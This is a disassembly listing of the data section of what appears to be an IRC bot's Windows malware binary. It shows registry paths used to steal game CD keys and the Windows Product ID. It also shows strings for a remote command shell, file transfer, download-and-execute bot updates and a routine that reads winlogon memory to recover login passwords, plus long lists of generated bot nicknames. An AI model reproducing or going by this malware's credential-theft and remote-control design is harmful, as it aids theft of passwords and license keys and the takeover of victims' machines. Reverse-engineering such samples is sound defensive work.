'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 aSoftwareEle_18 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 aSoftwareEle_19 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 aSoftwareEle_20 db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 aSoftwareIgi2Re db 'Software\IGI 2 Retail',0 align 10h aUnrealTourname db 'Unreal Tournament 2004',0 align 4 aSoftwareUnreal db 'Software\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 aSoftwareUnre_0 db 'Software\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 4 aSoftwareMicr_2 db 'Software\Microsoft\Windows\CurrentVersion',0 align 10h aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aTheGladiators db 'The Gladiators',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:004368F4o aCdkey_0 db 'CDKey',0 ; DATA XREF: .data:004368F0o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_4368ECo align 4 ; char asc_437AEC[] asc_437AEC db '=',0 ; DATA XREF: sub_415A30+E9o ; sub_415A30+F4o align 10h ; char asc_437AF0[] asc_437AF0 db '-' ; DATA XREF: sub_415A30+2Bo db 3, 34h, 2 dd 656B6463h, 3027379h, 7325202Dh, 7325203Ah, 0 ; char asc_437B08[] asc_437B08 db '-' ; DATA XREF: sub_415C5A+170o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 ; char asc_437B3C[] asc_437B3C db '-' ; DATA XREF: sub_415C5A+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 ; char asc_437B6C[] asc_437B6C db '-' ; DATA XREF: sub_415C5A+47o ; sub_415E1B+FDo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h ; char asc_437B90[] asc_437B90 db '-' ; DATA XREF: sub_415E1B+362o ; sub_4161BD+156o db 3, 34h, 2 dd 2636364h, 73202D03h, 656B636Fh, 72652074h, 726F72h ; char asc_437BA8[] asc_437BA8 db '-' ; DATA XREF: sub_415E1B+2FAo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 ; char asc_437BD4[] asc_437BD4 db '-' ; DATA XREF: sub_415E1B+202o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_437BF8 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: sub_415E1B+1CBo dd 74756Fh ; char dword_437C10 dword_437C10 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_415E1B+16Ao dd 169h unk_437C28 db 2Dh ; - ; DATA XREF: sub_415E1B+127o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_437C48 db 2Dh ; - ; DATA XREF: sub_415E1B+82o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_437C6C db 2Dh ; - ; DATA XREF: sub_415E1B+44o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h ; char asc_437C90[] asc_437C90 db '-' ; DATA XREF: sub_4161BD+1D1o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 ; char asc_437CBC[] asc_437CBC db '-' ; DATA XREF: sub_4161BD+CBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_437CDC db 2Dh ; - ; DATA XREF: sub_4161BD+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 ; char aAB[] aAB db 'a+b',0 ; DATA XREF: sub_4161BD+97o unk_437D0C db 2Dh ; - ; DATA XREF: sub_4161BD+83o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 ; char asc_437D3C[] asc_437D3C db '-' ; DATA XREF: sub_4163FA+493o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437D68 db 2Dh ; - ; DATA XREF: sub_4163FA+485o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 ; char asc_437D9C[] asc_437D9C db '-' ; DATA XREF: sub_4163FA+3C9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h ; char asc_437DE0[] asc_437DE0 db '-' ; DATA XREF: sub_4163FA+358o db 3, 34h, 2 dd 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh, 25206465h dd 73h ; char asc_437DFC[] asc_437DFC db '-' ; DATA XREF: sub_4163FA+2E1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 ; char asc_437E34[] asc_437E34 db '-' ; DATA XREF: sub_4163FA+262o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 ; char asc_437E5C[] asc_437E5C db '-' ; DATA XREF: sub_4163FA+1D8o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 ; char asc_437E88[] asc_437E88 db '-' ; DATA XREF: sub_4163FA+195o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_437EB0 db 2Dh ; - ; DATA XREF: sub_4163FA+183o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 ; char asc_437ED8[] asc_437ED8 db '-' ; DATA XREF: sub_4163FA+77o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A2:loc_4169E5o ; sub_418EF7+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A2:loc_4169DFo aDisk db 'Disk',0 ; DATA XREF: sub_4169A2:loc_4169D9o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_4169A2:loc_4169D3o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A2:loc_4169CDo align 4 off_437F28 dd offset word_4D4152 ; DATA XREF: sub_4169A2:loc_4169C7o word_437F2C dw 3Fh ; DATA XREF: sub_4169A2+1Fo ; sub_41AA43:loc_41AB45r align 10h ; char aFailed[] aFailed db 'failed',0 ; DATA XREF: sub_416A33:loc_416B11o ; sub_416B57+3Bo align 4 ; char aSkb[] aSkb db '%sKB',0 ; DATA XREF: sub_416A33+6Co align 10h ; char asc_437F40[] asc_437F40 db '-' ; DATA XREF: sub_416B57+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 ; char asc_437F7C[] asc_437F7C db '-' ; DATA XREF: sub_416B57+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 ; char aA_1[] aA_1 db 'A:\',0 ; DATA XREF: sub_416C29:loc_416C6Eo ; char asc_437FBC[] asc_437FBC db '-' ; DATA XREF: sub_416CAE+C8o db 3, 34h, 2 dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 64252064h dd 6C696620h, 7365h ; char asc_437FDC[] asc_437FDC db '-' ; DATA XREF: sub_416CAE+5Co db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 ; char asc_438004[] asc_438004 db '-' ; DATA XREF: sub_416DC9+107o db 3, 34h, 2 dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 73252064h dd 73255Ch ; char aS_3[] aS_3 db '%s\*',0 ; DATA XREF: sub_416DC9+1Ao align 4 ; char asc_438028[] asc_438028 db '-' ; DATA XREF: sub_416F1B:loc_417094o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 ; char asc_43805C[] asc_43805C db '-' ; DATA XREF: sub_416F1B:loc_417067o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_438088 db 2Dh ; - ; DATA XREF: sub_416F1B:loc_417060o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h ; char asc_4380C0[] asc_4380C0 db '-' ; DATA XREF: sub_416F1B+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 aUserdomain: ; DATA XREF: sub_416F1B+DCo unicode 0, <USERDOMAIN>,0 align 4 aUsername: ; DATA XREF: sub_416F1B+CEo unicode 0, <USERNAME>,0 align 4 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1B+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1B+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1B+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1B+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1B+40o ; sub_416F1B+161o ... align 4 unk_4381F8 db 2Dh ; - ; DATA XREF: sub_416F1B+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 ; char aMsgina[] aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170ED+13Eo align 10h ; char aNwgina[] aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170ED+123o align 4 ; char aWinlogon[] aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170ED+AFo align 4 ; char asc_438244[] asc_438244 db '-' ; DATA XREF: sub_417553+70o ; sub_4175EA+C7o db 3, 34h, 2 dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h dd 65735502h, 203A0272h, 2F532528h, 295325h ; char asc_438294[] asc_438294 db '-' ; DATA XREF: sub_4175EA+E1o db 3, 34h, 2 dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h dd 65735502h, 203A0272h, 2F532528h, 412F4E28h, 2929h ; char *off_4382E8 off_4382E8 dd offset aQ ; DATA XREF: sub_417ADE+5Cr ; "q" dd offset dword_438E90 dd offset aE ; "e" dd offset aR ; "r" dd offset aT ; "t" dd offset dword_438E8C dd offset aU ; "u" dd offset aI ; "i" dd offset aP ; "p" dd offset aA ; "a" dd offset aS_5 ; "s" dd offset aD_0 ; "d" dd offset dword_438E88 dd offset dword_438E84 dd offset dword_438E80 dd offset aJ ; "j" dd offset aK ; "k" dd offset asc_42CE50 ; "l" dd offset dword_438E7C dd offset dword_438E78 dd offset aC_0 ; "c" dd offset aV ; "v" dd offset dword_438E74 dd offset aN ; "n" dd offset aM_0 ; "m" dd offset dword_438E70 dd offset dword_438E6C dd offset dword_438E68 dd offset dword_438E64 dd offset dword_438E60 dd offset word_438E5C dd offset dword_438E58 dd offset aI_0 ; "I" dd offset dword_438E54 dd offset dword_438E50 dd offset aA_0 ; "A" dd offset dword_438E4C dd offset dword_438E48 dd offset dword_438E44 dd offset dword_438E40 dd offset dword_438E3C dd offset dword_438E38 dd offset dword_438E34 dd offset dword_438E30 dd offset dword_438E2C dd offset dword_438E28 dd offset dword_438E24 dd offset dword_438E20 dd offset dword_438E1C dd offset word_438E18 dd offset aM_1 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset aAyla ; "AYLA-" dd offset off_438BAC dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438A18 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" ; char *off_4385E8 off_4385E8 dd offset aSex ; DATA XREF: sub_417ADE+41r ; sub_417ADE+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex_0 ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset dword_438E74 dd offset aC_0 ; "c" dd offset aD_0 ; "d" dd offset aE ; "e" dd offset dword_438E88 dd offset dword_438E84 dd offset dword_438E80 dd offset aI ; "i" dd offset a_ ; "_" dd offset aJ ; "j" dd offset aK ; "k" dd offset asc_42CE50 ; "l" dd offset aM_0 ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_438E90 dd offset dword_438E78 dd offset dword_438E8C dd offset dword_438E7C dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_438E7C dd offset dword_438E84 dd offset aS_5 ; "s" dd offset aQ ; "q" dd offset off_438838 dd offset aBbl ; "|bbl" dd offset byte_43D808 dd offset byte_43D808 dd offset a___0 ; "_|_" dd offset byte_43D808 dd offset byte_43D808 dd offset byte_43D808 dd offset byte_43D808 dd offset dword_438E44 dd offset aM_1 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_3 ; "^^^f^" dd offset dword_438E74 dd offset byte_43D808 dd offset aSleeping ; "Sleeping" dd offset byte_43D808 dd offset byte_43D808 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset byte_43D808 dd offset byte_43D808 dd offset dword_438E28 dd offset byte_43D808 dd offset aBoy ; "BOY" dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset aTot_0 ; "tot" dd offset aLol ; "lol" dd offset aLoloA ; "lolo|a|" dd offset aSex4free ; "|sex4free|" dd offset a4us ; "|4us|" dd offset a4you ; "{4you}" dd offset a4u ; "|4u|" dd offset dword_438784 dd offset dword_438780 dword_438780 dd 7536h ; DATA XREF: .data:0043877Co dword_438784 dd 7535h ; DATA XREF: .data:00438778o a4u db '|4u|',0 ; DATA XREF: .data:00438774o align 10h a4you db '{4you}',0 ; DATA XREF: .data:00438770o align 4 a4us db '|4us|',0 ; DATA XREF: .data:0043876Co align 10h aSex4free db '|sex4free|',0 ; DATA XREF: .data:00438768o align 4 aLoloA db 'lolo|a|',0 ; DATA XREF: .data:00438764o aLol db 'lol',0 ; DATA XREF: .data:00438760o aTot_0 db 'tot',0 ; DATA XREF: .data:0043875Co aMofo db 'mofo',0 ; DATA XREF: .data:00438758o align 4 aMof0 db 'mof0',0 ; DATA XREF: .data:00438754o align 4 aMuha db 'muha',0 ; DATA XREF: .data:00438750o align 4 aYeah db 'yeah',0 ; DATA XREF: .data:0043874Co align 4 aAha db 'aha',0 ; DATA XREF: .data:00438748o aShit db 'shit',0 ; DATA XREF: .data:00438744o align 4 aGurl db 'gurl',0 ; DATA XREF: .data:00438740o align 10h aGirl_0 db 'GIRL',0 ; DATA XREF: .data:0043873Co align 4 aBoy db 'BOY',0 ; DATA XREF: .data:00438738o aFree db 'Free',0 ; DATA XREF: .data:00438724o align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: .data:00438720o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: .data:00438714o align 4 aF_3 db '^^^f^',0 ; DATA XREF: .data:00438708o align 10h aSad db 'Sad',0 ; DATA XREF: .data:00438704o aLuvu db 'LUVU',0 ; DATA XREF: .data:00438700o align 4 a___0 db '_|_',0 ; DATA XREF: .data:004386E4o aBbl db '|bbl',0 ; DATA XREF: .data:004386D8o align 4 off_438838 dd offset loc_425242 ; DATA XREF: .data:004386D4o aMuckc db 'muckc',0 ; DATA XREF: .data:004386C0o align 4 aTruck db 'truck',0 ; DATA XREF: .data:004386BCo align 4 aTrimy db 'trimy',0 ; DATA XREF: .data:004386B8o align 4 aLuvy db 'luvy',0 ; DATA XREF: .data:004386B4o align 4 aUi db 'ui',0 ; DATA XREF: .data:004386B0o align 10h aSdf db 'sdf',0 ; DATA XREF: .data:004386ACo aRt db 'rt',0 ; DATA XREF: .data:004386A8o align 4 aGf db 'gf',0 ; DATA XREF: .data:004386A4o align 4 aTy db 'ty',0 ; DATA XREF: .data:004386A0o align 10h aRg db 'rg',0 ; DATA XREF: .data:0043869Co align 4 aHappy db 'happy',0 ; DATA XREF: .data:00438698o align 4 aRs db 'rs',0 ; DATA XREF: .data:00438678o align 10h aQ8A db '|q8|a',0 ; DATA XREF: .data:00438630o align 4 aQ8 db 'Q8',0 ; DATA XREF: .data:0043862Co align 4 aSick db 'sick}}',0 ; DATA XREF: .data:00438628o align 4 aWiked db '|wiked|',0 ; DATA XREF: .data:00438624o aLuvuF db '||luvu-f|',0 ; DATA XREF: .data:00438620o align 4 aGens db '{gens|',0 ; DATA XREF: .data:0043861Co align 10h aSex_0 db '{sex}',0 ; DATA XREF: .data:00438618o align 4 aHub db '{hub}',0 ; DATA XREF: .data:00438614o align 10h aLuck db '|luck|',0 ; DATA XREF: .data:00438610o align 4 aSuck db '|suck|',0 ; DATA XREF: .data:0043860Co align 10h aTot db '-|tot|',0 ; DATA XREF: .data:00438608o align 4 aWoh db '|woh|',0 ; DATA XREF: .data:00438604o align 10h aTambe db '|tambe|',0 ; DATA XREF: .data:00438600o aLag db 'lag',0 ; DATA XREF: .data:004385FCo aBad db 'bad',0 ; DATA XREF: .data:004385F8o aTree db 'tree',0 ; DATA XREF: .data:004385F4o align 4 aZex db 'zex',0 ; DATA XREF: .data:004385F0o aLez db 'lez',0 ; DATA XREF: .data:004385ECo aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: .data:004385E4o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: .data:004385E0o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: .data:004385DCo align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .data:004385D8o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: .data:004385D4o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: .data:004385D0o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: .data:004385CCo align 10h aRerpjj db 'RERPJJ',0 ; DATA XREF: .data:004385C8o align 4 aCem39 db 'cem39',0 ; DATA XREF: .data:004385C4o align 10h aCool30m db 'cool30m',0 ; DATA XREF: .data:004385C0o aTropikal db 'tropikal',0 ; DATA XREF: .data:004385BCo align 4 aPassenger db 'passenger',0 ; DATA XREF: .data:004385B8o align 10h aNeHaber db 'NE-HABER',0 ; DATA XREF: .data:004385B4o align 4 aUla db 'ula',0 ; DATA XREF: .data:004385B0o aIzmirlm db 'izmirlm',0 ; DATA XREF: .data:004385ACo aAkden db 'akden',0 ; DATA XREF: .data:004385A8o align 10h aKoray db 'KORAY',0 ; DATA XREF: .data:004385A4o align 4 aAta29 db 'Ata29',0 ; DATA XREF: .data:004385A0o align 10h aFirtina db 'firtina',0 ; DATA XREF: .data:0043859Co aAdamm33 db 'AdAMM33',0 ; DATA XREF: .data:00438598o aM41ist db 'M41IST',0 ; DATA XREF: .data:00438594o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: .data:00438590o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: .data:0043858Co align 4 aAnkm db 'ankM',0 ; DATA XREF: .data:00438588o align 4 aErkan db 'erkan',0 ; DATA XREF: .data:00438584o align 4 aDevre db 'devre',0 ; DATA XREF: .data:00438580o align 4 aYabanc db 'yabanc',0 ; DATA XREF: .data:0043857Co align 4 aBirsen db 'birsen',0 ; DATA XREF: .data:00438578o align 4 aA44m db 'a44m',0 ; DATA XREF: .data:00438574o align 4 aAlcatras db 'alcatras',0 ; DATA XREF: .data:00438570o align 4 off_438A18 dd offset byte_4B5245 ; DATA XREF: .data:0043856Co aSevda db 'sevda',0 ; DATA XREF: .data:00438568o align 4 aKotan db 'kotan',0 ; DATA XREF: .data:00438564o align 4 aTegmen db 'TEGMEN',0 